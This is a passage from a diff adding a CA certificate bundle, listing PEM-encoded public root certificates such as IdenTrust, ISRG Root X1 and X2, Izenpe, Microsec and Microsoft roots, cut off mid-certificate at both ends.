+dem1p+/l6TWZ5Mwc50tfjTMwIDNT2aa71T4Tjukfh0mtUC1Qyhi+AViiE3CWu4mI
+VoBc+L0sPOFMV4i707mV78vH9toxdCim5lSJ9UExyuUmGs2C4HDaOym71QP1mbpV
+9WTRYA6ziUm4ii8F0oRFKHyPaFASePwLtVPLwpgchKOesL4jpNrcyCse2m5FHomY
+2vkALgbpDDtw1VAliJnLzXNg99X/NWfFobxeq81KuEXryGgeDQ0URhLj0mRiikKY
+vLTGCAj4/ahMZJx2Ab0vqWwzD9g/KLg8aQFChn5pwckGyuV6RmXpwtZQQS4/t+Tt
+bNe/JgERohYpSms0BpDsE9K2+2p20jzt8NYt3eEV7KObLyzJPivkaTv/ciWxNoZb
+x39ri1UbSsUgYT2uy1DhCDq+sI9jQVMwCFk8mB13umOResoQUGC/8Ne8lYePl8X+
+l2oBlKN8W4UdKjk60FSh0Tlxnf0h+bV78OLgAo9uliQlLKAeLKjEiafv7ZkGL7YK
+TE/bosw3Gq9HhS2KX8Q0NEwA/RiTZxPRN+ZItIsGxVd7GYYKecsAyVKvQv83j+Gj
+Hno9UKtjBucVtT+2RTeUN7F+8kjDf8V1/peNRY8apxpyKBpADwIDAQABo2MwYTAP
+BgNVHRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIBBjAfBgNVHSMEGDAWgBQXnc0e
+i9Y5K3DTXNSguB+wAPzFYTAdBgNVHQ4EFgQUF53NHovWOStw01zUoLgfsAD8xWEw
+DQYJKoZIhvcNAQELBQADggIBAFbVe27mIgHSQpsY1Q7XZiNc4/6gx5LS6ZStS6LG
+7BJ8dNVI0lkUmcDrudHr9EgwW62nV3OZqdPlt9EuWSRY3GguLmLYauRwCy0gUCCk
+MpXRAJi70/33MvJJrsZ64Ee+bs7Lo3I6LWldy8joRTnU+kLBEUx3XZL7av9YROXr
+gZ6voJmtvqkBZss4HTzfQx/0TW60uhdG/H39h4F5ag0zD/ov+BS5gLNdTaqX4fnk
+GMX41TiMJjz98iji7lpJiCzfeT2OnpA8vUFKOt1b9pq0zj8lMH8yfaIDlNDceqFS
+3m6TjRgm/VWsvY+b0s+v54Ysyx8Jb6NvqYTUc79NoXQbTiNg8swOqn+knEwlqLJm
+Ozj/2ZQw9nKEvmhVEA/GcywWaZMH/rFF7buiVWqw2rVKAiUnhde3t4ZEFolsgCs+
+l6mc1X5VTMbeRRAc6uk7nwNT7u56AQIWeNTowr5GdogTPyK7SBIdUgC0An4hGh6c
+JfTzPV4e0hz5sy229zdcxsshTrD3mUcYhcErulWuBurQB7Lcq9CClnXO0lD+mefP
+L5/ndtFhKvshuzHQqp9HpLIiyhY6UFfEW0NnxWViA0kB60PZ2Pierc+xYw5F9KBa
+LJstxabArahH9CdMOA0uG0k7UvToiIMrVCjU8jVStDKDYmlkDJGcn5fqdBb9HxEG
+mpv0
+-----END CERTIFICATE-----
+
+# IdenTrust Commercial Root CA 1
+-----BEGIN CERTIFICATE-----
+MIIFYDCCA0igAwIBAgIQCgFCgAAAAUUjyES1AAAAAjANBgkqhkiG9w0BAQsFADBK
+MQswCQYDVQQGEwJVUzESMBAGA1UEChMJSWRlblRydXN0MScwJQYDVQQDEx5JZGVu
+VHJ1c3QgQ29tbWVyY2lhbCBSb290IENBIDEwHhcNMTQwMTE2MTgxMjIzWhcNMzQw
+MTE2MTgxMjIzWjBKMQswCQYDVQQGEwJVUzESMBAGA1UEChMJSWRlblRydXN0MScw
+JQYDVQQDEx5JZGVuVHJ1c3QgQ29tbWVyY2lhbCBSb290IENBIDEwggIiMA0GCSqG
+SIb3DQEBAQUAA4ICDwAwggIKAoICAQCnUBneP5k91DNG8W9RYYKyqU+PZ4ldhNlT
+3Qwo2dfw/66VQ3KZ+bVdfIrBQuExUHTRgQ18zZshq0PirK1ehm7zCYofWjK9ouuU
++ehcCuz/mNKvcbO0U59Oh++SvL3sTzIwiEsXXlfEU8L2ApeN2WIrvyQfYo3fw7gp
+S0l4PJNgiCL8mdo2yMKi1CxUAGc1bnO/AljwpN3lsKImesrgNqUZFvX9t++uP0D1
+bVoE/c40yiTcdCMbXTMTEl3EASX2MN0CXZ/g1Ue9tOsbobtJSdifWwLziuQkkORi
+T0/Br4sOdBeo0XKIanoBScy0RnnGF7HamB4HWfp1IYVl3ZBWzvurpWCdxJ35UrCL
+vYf5jysjCiN2O/cz4ckA82n5S6LgTrx+kzmEB/dEcH7+B1rlsazRGMzyNeVJSQjK
+Vsk9+w8YfYs7wRPCTY/JTw436R+hDmrfYi7LNQZReSzIJTj0+kuniVyc0uMNOYZK
+dHzVWYfCP04MXFL0PfdSgvHqo6z9STQaKPNBiDoT7uje/5kdX7rL6B7yuVBgwDHT
+c+XvvqDtMwt0viAgxGds8AgDelWAf0ZOlqf0Hj7h9tgJ4TNkK2PXMl6f+cB7D3hv
+l7yTmvmcEpB4eoCHFddydJxVdHixuuFucAS6T6C6aMN7/zHwcz09lCqxC0EOoP5N
+iGVreTO01wIDAQABo0IwQDAOBgNVHQ8BAf8EBAMCAQYwDwYDVR0TAQH/BAUwAwEB
+/zAdBgNVHQ4EFgQU7UQZwNPwBovupHu+QucmVMiONnYwDQYJKoZIhvcNAQELBQAD
+ggIBAA2ukDL2pkt8RHYZYR4nKM1eVO8lvOMIkPkp165oCOGUAFjvLi5+U1KMtlwH
+6oi6mYtQlNeCgN9hCQCTrQ0U5s7B8jeUeLBfnLOic7iPBZM4zY0+sLj7wM+x8uwt
+LRvM7Kqas6pgghstO8OEPVeKlh6cdbjTMM1gCIOQ045U8U1mwF10A0Cj7oV+wh93
+nAbowacYXVKV7cndJZ5t+qntozo00Fl72u1Q8zW/7esUTTHHYPTa8Yec4kjixsU3
++wYQ+nVZZjFHKdp2mhzpgq7vmrlR94gjmmmVYjzlVYA211QC//G5Xc7UI2/YRYRK
+W2XviQzdFKcgyxilJbQN+QHwotL0AMh0jqEqSI5l2xPE4iUXfeu+h1sXIFRRk0pT
+AwvsXcoz7WL9RccvW9xYoIA55vrX/hMUpu09lEpCdNTDd1lzzY9GvlU47/rokTLq
+l1gEIt44w8y8bckzOmoKaT+gyOpyj4xjhiO9bTyWnpXgSUyqorkqG5w2gXjtw+hG
+4iZZRHUe2XWJUc0QhJ1hYMtd+ZciTY6Y5uN/9lu7rs3KSoFrXgvzUeF0K+l+J6fZ
+mUlO+KWA2yUPHGNiiskzZ2s8EIPGrd6ozRaOjfAHN3Gf8qv8QfXBi+wAN10J5U6A
+7/qxXDgGpRtK4dw4LTzcqx+QGtVKnO7RcGzM7vRX+Bi6hG6H
+-----END CERTIFICATE-----
+
+# IdenTrust Public Sector Root CA 1
+-----BEGIN CERTIFICATE-----
+MIIFZjCCA06gAwIBAgIQCgFCgAAAAUUjz0Z8AAAAAjANBgkqhkiG9w0BAQsFADBN
+MQswCQYDVQQGEwJVUzESMBAGA1UEChMJSWRlblRydXN0MSowKAYDVQQDEyFJZGVu
+VHJ1c3QgUHVibGljIFNlY3RvciBSb290IENBIDEwHhcNMTQwMTE2MTc1MzMyWhcN
+MzQwMTE2MTc1MzMyWjBNMQswCQYDVQQGEwJVUzESMBAGA1UEChMJSWRlblRydXN0
+MSowKAYDVQQDEyFJZGVuVHJ1c3QgUHVibGljIFNlY3RvciBSb290IENBIDEwggIi
+MA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQC2IpT8pEiv6EdrCvsnduTyP4o7
+ekosMSqMjbCpwzFrqHd2hCa2rIFCDQjrVVi7evi8ZX3yoG2LqEfpYnYeEe4IFNGy
+RBb06tD6Hi9e28tzQa68ALBKK0CyrOE7S8ItneShm+waOh7wCLPQ5CQ1B5+ctMlS
+bdsHyo+1W/CD80/HLaXIrcuVIKQxKFdYWuSNG5qrng0M8gozOSI5Cpcu81N3uURF
+/YTLNiCBWS2ab21ISGHKTN9T0a9SvESfqy9rg3LvdYDaBjMbXcjaY8ZNzaxmMc3R
+3j6HEDbhuaR672BQssvKplbgN6+rNBM5Jeg5ZuSYeqoSmJxZZoY+rfGwyj4GD3vw
+EUs3oERte8uojHH01bWRNszwFcYr3lEXsZdMUD2xlVl8BX0tIdUAvwFnol57plzy
+9yLxkA2T26pEUWbMfXYD62qoKjgZl3YNa4ph+bz27nb9cCvdKTz4Ch5bQhyLVi9V
+GxyhLrXHFub4qjySjmm2AcG1hp2JDws4lFTo6tyePSW8Uybt1as5qsVATFSrsrTZ
+2fjXctscvG29ZV/viDUqZi/u9rNl8DONfJhBaUYPQxxp+pu10GFqzcpL2UyQRqsV
+WaFHVCkugyhfHMKiq3IXAAaOReyL4jM9f9oZRORicsPfIsbyVtTdX5Vy7W1f90gD
+W/3FKqD2cyOEEBsB5wIDAQABo0IwQDAOBgNVHQ8BAf8EBAMCAQYwDwYDVR0TAQH/
+BAUwAwEB/zAdBgNVHQ4EFgQU43HgntinQtnbcZFrlJPrw6PRFKMwDQYJKoZIhvcN
+AQELBQADggIBAEf63QqwEZE4rU1d9+UOl1QZgkiHVIyqZJnYWv6IAcVYpZmxI1Qj
+t2odIFflAWJBF9MJ23XLblSQdf4an4EKwt3X9wnQW3IV5B4Jaj0z8yGa5hV+rVHV
+DRDtfULAj+7AmgjVQdZcDiFpboBhDhXAuM/FSRJSzL46zNQuOAXeNf0fb7iAaJg9
+TaDKQGXSc3z1i9kKlT/YPyNtGtEqJBnZhbMX73huqVjRI9PHE+1yJX9dsXNw0H8G
+lwmEKYBhHfpe/3OsoOOJuBxxFcbeMX8S3OFtm6/n6J91eEyrRjuazr8FGF1NFTwW
+mhlQBJqymm9li1JfPFgEKCXAZmExfrngdbkaqIHWchezxQMxNRF4eKLg6TCMf4Df
+WN88uieW4oA0beOY02QnrEh+KHdcxiVhJfiFDGX6xDIvpZgF5PgLZxYWxoK4Mhn5
++bl53B/N66+rDt0b20XkeucC4pVd/GnwU2lhlXV5C15V5jgclKlZM57IcXR5f1GJ
+tshquDDIajjDbp7hNxbqBWJMWxJH7ae0s1hWx0nzfxJoCTFx8G34Tkf71oXuxVhA
+GaQdp/lLQzfcaFpPz+vCZHTetBXZ9FRUGi8c15dxVJCO2SCdUyt/q4/i6jC8UDfv
+8Ue1fXwsBOxonbRJRBD0ckscZOf85muQ3Wl9af0AVqW3rLatt8o+Ae+c
+-----END CERTIFICATE-----
+
+# ISRG Root X1
+-----BEGIN CERTIFICATE-----
+MIIFazCCA1OgAwIBAgIRAIIQz7DSQONZRGPgu2OCiwAwDQYJKoZIhvcNAQELBQAw
+TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
+cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMTUwNjA0MTEwNDM4
+WhcNMzUwNjA0MTEwNDM4WjBPMQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJu
+ZXQgU2VjdXJpdHkgUmVzZWFyY2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBY
+MTCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAK3oJHP0FDfzm54rVygc
+h77ct984kIxuPOZXoHj3dcKi/vVqbvYATyjb3miGbESTtrFj/RQSa78f0uoxmyF+
+0TM8ukj13Xnfs7j/EvEhmkvBioZxaUpmZmyPfjxwv60pIgbz5MDmgK7iS4+3mX6U
+A5/TR5d8mUgjU+g4rk8Kb4Mu0UlXjIB0ttov0DiNewNwIRt18jA8+o+u3dpjq+sW
+T8KOEUt+zwvo/7V3LvSye0rgTBIlDHCNAymg4VMk7BPZ7hm/ELNKjD+Jo2FR3qyH
+B5T0Y3HsLuJvW5iB4YlcNHlsdu87kGJ55tukmi8mxdAQ4Q7e2RCOFvu396j3x+UC
+B5iPNgiV5+I3lg02dZ77DnKxHZu8A/lJBdiB3QW0KtZB6awBdpUKD9jf1b0SHzUv
+KBds0pjBqAlkd25HN7rOrFleaJ1/ctaJxQZBKT5ZPt0m9STJEadao0xAH0ahmbWn
+OlFuhjuefXKnEgV4We0+UXgVCwOPjdAvBbI+e0ocS3MFEvzG6uBQE3xDk3SzynTn
+jh8BCNAw1FtxNrQHusEwMFxIt4I7mKZ9YIqioymCzLq9gwQbooMDQaHWBfEbwrbw
+qHyGO0aoSCqI3Haadr8faqU9GY/rOPNk3sgrDQoo//fb4hVC1CLQJ13hef4Y53CI
+rU7m2Ys6xt0nUW7/vGT1M0NPAgMBAAGjQjBAMA4GA1UdDwEB/wQEAwIBBjAPBgNV
+HRMBAf8EBTADAQH/MB0GA1UdDgQWBBR5tFnme7bl5AFzgAiIyBpY9umbbjANBgkq
+hkiG9w0BAQsFAAOCAgEAVR9YqbyyqFDQDLHYGmkgJykIrGF1XIpu+ILlaS/V9lZL
+ubhzEFnTIZd+50xx+7LSYK05qAvqFyFWhfFQDlnrzuBZ6brJFe+GnY+EgPbk6ZGQ
+3BebYhtF8GaV0nxvwuo77x/Py9auJ/GpsMiu/X1+mvoiBOv/2X/qkSsisRcOj/KK
+NFtY2PwByVS5uCbMiogziUwthDyC3+6WVwW6LLv3xLfHTjuCvjHIInNzktHCgKQ5
+ORAzI4JMPJ+GslWYHb4phowim57iaztXOoJwTdwJx4nLCgdNbOhdjsnvzqvHu7Ur
+TkXWStAmzOVyyghqpZXjFaH3pO3JLF+l+/+sKAIuvtd7u+Nxe5AW0wdeRlN8NwdC
+jNPElpzVmbUq4JUagEiuTDkHzsxHpFKVK7q4+63SM1N95R1NbdWhscdCb+ZAJzVc
+oyi3B43njTOQ5yOf+1CceWxG1bQVs5ZufpsMljq4Ui0/1lvh+wjChP4kqKOJ2qxq
+4RgqsahDYVvTH9w7jXbyLeiNdd8XM2w9U/t7y0Ff/9yi0GE44Za4rF2LN9d11TPA
+mRGunUHBcnWEvgJBQl9nJEiU0Zsnvgc/ubhPgXRR4Xq37Z0j4r7g1SgEEzwxA57d
+emyPxgcYxn/eR44/KJ4EBs+lVDR3veyJm+kXQ99b21/+jh5Xos1AnX5iItreGCc=
+-----END CERTIFICATE-----
+
+# ISRG Root X2
+-----BEGIN CERTIFICATE-----
+MIICGzCCAaGgAwIBAgIQQdKd0XLq7qeAwSxs6S+HUjAKBggqhkjOPQQDAzBPMQsw
+CQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFyY2gg
+R3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMjAeFw0yMDA5MDQwMDAwMDBaFw00
+MDA5MTcxNjAwMDBaME8xCzAJBgNVBAYTAlVTMSkwJwYDVQQKEyBJbnRlcm5ldCBT
+ZWN1cml0eSBSZXNlYXJjaCBHcm91cDEVMBMGA1UEAxMMSVNSRyBSb290IFgyMHYw
+EAYHKoZIzj0CAQYFK4EEACIDYgAEzZvVn4CDCuwJSvMWSj5cz3es3mcFDR0HttwW
++1qLFNvicWDEukWVEYmO6gbf9yoWHKS5xcUy4APgHoIYOIvXRdgKam7mAHf7AlF9
+ItgKbppbd9/w+kHsOdx1ymgHDB/qo0IwQDAOBgNVHQ8BAf8EBAMCAQYwDwYDVR0T
+AQH/BAUwAwEB/zAdBgNVHQ4EFgQUfEKWrt5LSDv6kviejM9ti6lyN5UwCgYIKoZI
+zj0EAwMDaAAwZQIwe3lORlCEwkSHRhtFcP9Ymd70/aTSVaYgLXTWNLxBo1BfASdW
+tL4ndQavEi51mI38AjEAi/V3bNTIZargCyzuFJ0nN6T5U6VR5CmD1/iQMVtCnwr1
+/q4AaOeMSQ+2b1tbFfLn
+-----END CERTIFICATE-----
+
+# Izenpe.com
+-----BEGIN CERTIFICATE-----
+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
+-----END CERTIFICATE-----
+
+# Microsec e-Szigno Root CA 2009
+-----BEGIN CERTIFICATE-----
+MIIECjCCAvKgAwIBAgIJAMJ+QwRORz8ZMA0GCSqGSIb3DQEBCwUAMIGCMQswCQYD
+VQQGEwJIVTERMA8GA1UEBwwIQnVkYXBlc3QxFjAUBgNVBAoMDU1pY3Jvc2VjIEx0
+ZC4xJzAlBgNVBAMMHk1pY3Jvc2VjIGUtU3ppZ25vIFJvb3QgQ0EgMjAwOTEfMB0G
+CSqGSIb3DQEJARYQaW5mb0BlLXN6aWduby5odTAeFw0wOTA2MTYxMTMwMThaFw0y
+OTEyMzAxMTMwMThaMIGCMQswCQYDVQQGEwJIVTERMA8GA1UEBwwIQnVkYXBlc3Qx
+FjAUBgNVBAoMDU1pY3Jvc2VjIEx0ZC4xJzAlBgNVBAMMHk1pY3Jvc2VjIGUtU3pp
+Z25vIFJvb3QgQ0EgMjAwOTEfMB0GCSqGSIb3DQEJARYQaW5mb0BlLXN6aWduby5o
+dTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAOn4j/NjrdqG2KfgQvvP
+kd6mJviZpWNwrZuuyjNAfW2WbqEORO7hE52UQlKavXWFdCyoDh2Tthi3jCyoz/tc
+cbna7P7ofo/kLx2yqHWH2Leh5TvPmUpG0IMZfcChEhyVbUr02MelTTMuhTlAdX4U
+fIASmFDHQWe4oIBhVKZsTh/gnQ4H6cm6M+f+wFUoLAKApxn1ntxVUwOXewdI/5n7
+N4okxFnMUBBjjqqpGrCEGob5X7uxUG6k0QrM1XF+H6cbfPVTbiJfyyvm1HxdrtbC
+xkzlBQHZ7Vf8wSN5/PrIJIOV87VqUQHQd9bpEqH5GoP7ghu5sJf0dgYzQ0mg/wu1
++rUCAwEAAaOBgDB+MA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMB0G
+A1UdDgQWBBTLD8bfQkPMPcu1SCOhGnqmKrs0aDAfBgNVHSMEGDAWgBTLD8bfQkPM
+Pcu1SCOhGnqmKrs0aDAbBgNVHREEFDASgRBpbmZvQGUtc3ppZ25vLmh1MA0GCSqG
+SIb3DQEBCwUAA4IBAQDJ0Q5eLtXMs3w+y/w9/w0olZMEyL/azXm4Q5DwpL7v8u8h
+mLzU1F0G9u5C7DBsoKqpyvGvivo/C3NqPuouQH4frlRheesuCDfXI/OMn74dseGk
+ddug4lQUsbocKaQY9hK6ohQU4zE1yED/t+AFdlfBHFny+L/k7SViXITwfn4fs775
+tyERzAMBVnCnEJIeGzSBHq2cGsMEPO0CYdYeBvNfOofyK/FFh+U9rNHHV4S9a67c
+2Pm2G2JwCz02yULyMtd6YebS2z3PyKnJm9zbWETXbzivf3jTo60adbocwTZ8jx5t
+HMN1Rq41Bab2XD0h7lbwyYIiLXpUq3DDfSJlgnCW
+-----END CERTIFICATE-----
+
+# Microsoft ECC Root Certificate Authority 2017
+-----BEGIN CERTIFICATE-----
+MIICWTCCAd+gAwIBAgIQZvI9r4fei7FK6gxXMQHC7DAKBggqhkjOPQQDAzBlMQsw
+CQYDVQQGEwJVUzEeMBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMTYwNAYD
+VQQDEy1NaWNyb3NvZnQgRUNDIFJvb3QgQ2VydGlmaWNhdGUgQXV0aG9yaXR5IDIw
+MTcwHhcNMTkxMjE4MjMwNjQ1WhcNNDIwNzE4MjMxNjA0WjBlMQswCQYDVQQGEwJV
+UzEeMBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMTYwNAYDVQQDEy1NaWNy
+b3NvZnQgRUNDIFJvb3QgQ2VydGlmaWNhdGUgQXV0aG9yaXR5IDIwMTcwdjAQBgcq
+hkjOPQIBBgUrgQQAIgNiAATUvD0CQnVBEyPNgASGAlEvaqiBYgtlzPbKnR5vSmZR
+ogPZnZH6thaxjG7efM3beaYvzrvOcS/lpaso7GMEZpn4+vKTEAXhgShC48Zo9OYb
+hGBKia/teQ87zvH2RPUBeMCjVDBSMA4GA1UdDwEB/wQEAwIBhjAPBgNVHRMBAf8E
+BTADAQH/MB0GA1UdDgQWBBTIy5lycFIM+Oa+sgRXKSrPQhDtNTAQBgkrBgEEAYI3
+FQEEAwIBADAKBggqhkjOPQQDAwNoADBlAjBY8k3qDPlfXu5gKcs68tvWMoQZP3zV
+L8KxzJOuULsJMsbG7X7JNpQS5GiFBqIb0C8CMQCZ6Ra0DvpWSNSkMBaReNtUjGUB
+iudQZsIxtzm6uBoiB078a1QWIP8rtedMDE2mT3M=
+-----END CERTIFICATE-----
+
+# Microsoft RSA Root Certificate Authority 2017
+-----BEGIN CERTIFICATE-----
+MIIFqDCCA5CgAwIBAgIQHtOXCV/YtLNHcB6qvn9FszANBgkqhkiG9w0BAQwFADBl
+MQswCQYDVQQGEwJVUzEeMBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMTYw
+NAYDVQQDEy1NaWNyb3NvZnQgUlNBIFJvb3QgQ2VydGlmaWNhdGUgQXV0aG9yaXR5
+IDIwMTcwHhcNMTkxMjE4MjI1MTIyWhcNNDIwNzE4MjMwMDIzWjBlMQswCQYDVQQG
+EwJVUzEeMBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMTYwNAYDVQQDEy1N
+aWNyb3NvZnQgUlNBIFJvb3QgQ2VydGlmaWNhdGUgQXV0aG9yaXR5IDIwMTcwggIi
+MA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQDKW76UM4wplZEWCpW9R2LBifOZ
+Nt9GkMml7Xhqb0eRaPgnZ1AzHaGm++DlQ6OEAlcBXZxIQIJTELy/xztokLaCLeX0
+ZdDMbRnMlfl7rEqUrQ7eS0MdhweSE5CAg2Q1OQT85elss7YfUJQ4ZVBcF0a5toW1
+HLUX6NZFndiyJrDKxHBKrmCk3bPZ7Pw71VdyvD/IybLeS2v4I2wDwAW9lcfNcztm
+gGTjGqwu+UcF8ga2m3P1eDNbx6H7JyqhtJqRjJHTOoI+dkC0zVJhUXAoP8XFWvLJ
+jEm7FFtNyP9nTUwSlq31/niol4fX/V4ggNyhSyL71Imtus5Hl0dVe49FyGcohJUc
+aDDv70ngNXtk55iwlNpNhTs+VcQor1fznhPbRiefHqJeRIOkpcrVE7NLP8TjwuaG
+YaRSMLl6IE9vDzhTyzMMEyuP1pq9KsgtsRx9S1HKR9FIJ3Jdh+vVReZIZZ2vUpC6
+W6IYZVcSn2i51BVrlMRpIpj0M+Dt+VGOQVDJNE92kKz8OMHY4Xu54+OU4UZpyw4K
+UGsTuqwPN1q3ErWQgR5WrlcihtnJ0tHXUeOrO8ZV/R4O03QK0dqq6mm4lyiPSMQH
++FJDOvTKVTUssKZqwJz58oHhEmrARdlns87/I6KJClTUFLkqqNfs+avNJVgyeY+Q
+W5g5xAgGwax/Dj0ApQIDAQABo1QwUjAOBgNVHQ8BAf8EBAMCAYYwDwYDVR0TAQH/
+BAUwAwEB/zAdBgNVHQ4EFgQUCctZf4aycI8awznjwNnpv7tNsiMwEAYJKwYBBAGC
+NxUBBAMCAQAwDQYJKoZIhvcNAQEMBQADggIBAKyvPl3CEZaJjqPnktaXFbgToqZC
+LgLNFgVZJ8og6Lq46BrsTaiXVq5lQ7GPAJtSzVXNUzltYkyLDVt8LkS/gxCP81OC
+gMNPOsduET/m4xaRhPtthH80dK2Jp86519efhGSSvpWhrQlTM93uCupKUY5vVau6
+tZRGrox/2KJQJWVggEbbMwSubLWYdFQl3JPk+ONVFT24bcMKpBLBaYVu32TxU5nh
+SnUgnZUP5NbcA/FZGOhHibJXWpS2qdgXKxdJ5XbLwVaZOjex/2kskZGT4d9Mozd2
+TaGf+G0eHdP67Pv0RR0Tbc/3WeUiJ3IrhvNXuzDtJE3cfVa7o7P4NHmJweDyAmH3
+pvwPuxwXC65B2Xy9J6P9LjrRk5Sxcx0ki69bIImtt2dmefU6xqaWM/5TkshGsRGR
+xpl/j8nWZjEgQRCHLQzWwa80mMpkg/sTV9HB8Dx6jKXB/ZUhoHHBk2dxEuqPiApp
+GWSZI1b7rCoucL5mxAyE7+WL85MB+GqQk2dLsmijtWKP6T+MejteD+eMuMZ87zf9
+dOLITzNy4ZQ5bb0Sr74MTnB8G2+NszKTc0QWbej09+CVgI+WXTik9KveCjCHk9hN
+AHFiRSdLOkKEW39lt2c0Ui2cFmuqqNh7o0JMcccMyj6D5KbvtwEwXlGjefVwaaZB
+RA+GsCyRxj3qrg+E
+-----END CERTIFICATE-----
+
+# NAVER Global Root Certification Authority
+-----BEGIN CERTIFICATE-----
+MIIFojCCA4qgAwIBAgIUAZQwHqIL3fXFMyqxQ0Rx+NZQTQ0wDQYJKoZIhvcNAQEM
+BQAwaTELMAkGA1UEBhMCS1IxJjAkBgNVBAoMHU5BVkVSIEJVU0lORVNTIFBMQVRG
+T1JNIENvcnAuMTIwMAYDVQQDDClOQVZFUiBHbG9iYWwgUm9vdCBDZXJ0aWZpY2F0
+aW9uIEF1dGhvcml0eTAeFw0xNzA4MTgwODU4NDJaFw0zNzA4MTgyMzU5NTlaMGkx
+CzAJBgNVBAYTAktSMSYwJAYDVQQKDB1OQVZFUiBCVVNJTkVTUyBQTEFURk9STSBD
+b3JwLjEyMDAGA1UEAwwpTkFWRVIgR2xvYmFsIFJvb3QgQ2VydGlmaWNhdGlvbiBB
+dXRob3JpdHkwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQC21PGTXLVA
+iQqrDZBbUGOukJR0F0Vy1ntlWilLp1agS7gvQnXp2XskWjFlqxcX0TM62RHcQDaH
+38dq6SZeWYp34+hInDEW+j6RscrJo+KfziFTowI2MMtSAuXaMl3Dxeb57hHHi8lE
+HoSTGEq0n+USZGnQJoViAbbJAh2+g1G7XNr4rRVqmfeSVPc0W+m/6imBEtRTkZaz
+kVrd/pBzKPswRrXKCAfHcXLJZtM0l/aM9BhK4dA9WkW2aacp+yPOiNgSnABIqKYP
+szuSjXEOdMWLyEz59JuOuDxp7W87UC9Y7cSw0BwbagzivESq2M0UXZR4Yb8Obtoq
